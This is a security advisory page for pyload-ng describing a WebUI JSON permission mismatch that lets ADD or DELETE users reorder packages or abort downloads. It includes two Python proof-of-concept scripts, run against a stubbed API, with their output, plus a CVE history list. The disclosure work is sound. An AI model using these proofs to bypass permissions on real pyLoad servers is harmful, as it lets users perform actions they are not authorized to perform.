Media

pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions

  • Publicada: 08.04.2026
  • Actualizado: 11.10.2026 15:17

Summary

Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model.

Confirmed mismatches:

  • ADD user can reorder packages/files (order_package, order_file) via /json/package_order and /json/link_order
  • DELETE user can abort downloads (stop_downloads) via /json/abort_link

Details

pyLoad defines granular permissions in core API:

  • order_package requires Perms.MODIFY (src/pyload/core/api/__init__.py:1125)
  • order_file requires Perms.MODIFY (src/pyload/core/api/__init__.py:1137)
  • stop_downloads requires Perms.MODIFY (src/pyload/core/api/__init__.py:1046)

But WebUI JSON routes use weaker checks:

  • /json/package_order uses @login_required("ADD") then calls api.order_package(...) (src/pyload/webui/app/blueprints/json_blueprint.py:109-117)
  • /json/link_order uses @login_required("ADD") then calls api.order_file(...) (src/pyload/webui/app/blueprints/json_blueprint.py:137-145)
  • /json/abort_link uses @login_required("DELETE") then calls api.stop_downloads(...) (src/pyload/webui/app/blueprints/json_blueprint.py:123-131)

Why this is likely unintended (not just convenience):

  • The same JSON blueprint correctly protects other edit actions with MODIFY:
    • /json/move_package -> @login_required("MODIFY") (json_blueprint.py:188-196)
    • /json/edit_package -> @login_required("MODIFY") (json_blueprint.py:202-217)
  • The project UI exposes granular per-user permission assignment (settings.html:184-190), implying these boundaries are intended security controls.

PoC

Environment:

  • Repository version: 0.5.0b3 (VERSION file)
  • Commit tested: ddc53b3d7

PoC A (ADD-only user invokes MODIFY-only reorder):

python
import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint

class FakeApi:
    def __init__(self):
        self.calls = []

    def user_exists(self, username):
        return username == 'attacker'

    def order_package(self, pack_id, pos):
        self.calls.append(('order_package', int(pack_id), int(pos)))

    def order_file(self, file_id, pos):
        self.calls.append(('order_file', int(file_id), int(pos)))

api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))

app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)

with app.test_client() as c:
    with c.session_transaction() as s:
        s['authenticated'] = True
        s['name'] = 'attacker'
        s['role'] = int(Role.USER)
        s['perms'] = int(Perms.ADD)

    r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})
    r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})

print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())
print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())
print('calls:', f.calls)

Observed output:

API auth (ADD-only) order_package: False
API auth (ADD-only) order_file: False
HTTP /json/package_order: 200 {"response":"success"}
HTTP /json/link_order: 200 {"response":"success"}
calls: [('order_package', 5, 0), ('order_file', 77, 1)]

PoC B (DELETE-only user invokes MODIFY-only stop_downloads):

python
import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint

class FakeApi:
    def __init__(self):
        self.calls = []

    def user_exists(self, username):
        return username == 'u'

    def stop_downloads(self, ids):
        self.calls.append(('stop_downloads', ids))

api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.DELETE}
print('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx))

app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)

with app.test_client() as c:
    with c.session_transaction() as s:
        s['authenticated'] = True
        s['name'] = 'u'
        s['role'] = int(Role.USER)
        s['perms'] = int(Perms.DELETE)

    r = c.post('/json/abort_link', json={'link_id': 999})

print('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip())
print('calls:', f.calls)

Observed output:

API auth (DELETE-only) stop_downloads: False
HTTP /json/abort_link: 200 {"response":"success"}
calls: [('stop_downloads', [999])]

Impact

Type:

  • Improper authorization / permission-bypass between WebUI and core API permission model.

Scope:

  • Horizontal privilege escalation among authenticated non-admin users.
  • Not admin takeover, but unauthorized execution of operations explicitly categorized as MODIFY.

Security impact:

  • Integrity impact: unauthorized queue/file reordering by users lacking MODIFY.
  • Availability impact: unauthorized abort of active downloads by users lacking MODIFY.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) pyload-ng <= 0.5.0b3 sin corrección

Referencias

Puntuación CVSS 5.4/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Debilidad (CWE)
CWE-285, CWE-863
Plataforma
Python (PyPI)
Paquete
pyload-ng
Publicada
08.04.2026
Actualizado
11.10.2026 15:17

Fuentes y licencias

OSV / GitHub Advisory Database - PYSEC-2026-2997 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-rfgh-63mg-8pwm - CC BY 4.0

Historial de vulnerabilidades: pyload-ng

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (58) en el archivo
Entradas en total
58
Primera → última
01.2023 10.2026
Sin corrección
24
Explotada en ataques
0

Distribución por gravedad

  • Crítica 9
  • Alta 23
  • Media 25
  • Baja 1

Divulgaciones por año

  1. 2023: 9
  2. 2024: 8
  3. 2025: 8
  4. 2026: 33
Gravedad:
  1. Alta · 7.5 ghsa-889w-m37p-88m5 >= 0.5.0b3.dev98, <= 0.5.0b3.dev101 sin corrección
  2. Alta · 8.1 ghsa-r44w-v6gf-x3p6 < 0.5.0b3.dev101 0.5.0b3.dev101
  3. Alta · 8.1 CVE-2026-42315 < 0.5.0b3.dev100 0.5.0b3.dev100
  4. Alta · 8.8 CVE-2026-41133 <= 0.5.0b3.dev97 sin corrección
  5. pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions esta entrada
    Media · 5.4 CVE-2026-40071 <= 0.5.0b3 sin corrección
  6. Alta · 8.8 CVE-2026-35463 <= 0.5.0b3.dev96 sin corrección
  7. Alta · 7.7 CVE-2026-35187 <= 0.5.0b3.dev96 sin corrección
  8. Alta · 7.1 CVE-2026-29778 >= 0.5.0b3.dev13, < 0.5.0b3.dev97 0.5.0b3.dev97
  9. Alta · 8.1 CVE-2025-61773 < 0.5.0b3.dev91 0.5.0b3.dev91
  10. Alta CVE-2025-57751 < 0.5.0b3.dev92 0.5.0b3.dev92
  11. Alta · 7.5 CVE-2025-54140 >= 0.5.0b3.dev89, < 0.5.0b3.dev90 0.5.0b3.dev90
  12. Crítica · 9.8 CVE-2025-53890 < 0.20 0.20
  13. Crítica · 9.8 CVE-2024-39205 <= 0.5.0b3.dev85 sin corrección
  14. Crítica · 9.1 CVE-2024-32880 <= 0.5.0 sin corrección
  15. Crítica · 9.6 CVE-2024-22416 < 0.5.0b3.dev78 0.5.0b3.dev78
  16. Alta · 7.5 CVE-2024-21644 < 0.5.0b3.dev77 0.5.0b3.dev77
  17. Alta · 7.6 CVE-2023-47890 < 0.5.0b3.dev75 0.5.0b3.dev75
  18. Alta · 7.4 CVE-2023-0509 < 0.5.0b3.dev44 0.5.0b3.dev44
  19. Crítica · 9.8 CVE-2023-0435 < 0.5.0b3.dev41 0.5.0b3.dev41
  20. Crítica · 9.8 CVE-2023-0297 < 0.5.0b3.dev31 0.5.0b3.dev31

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.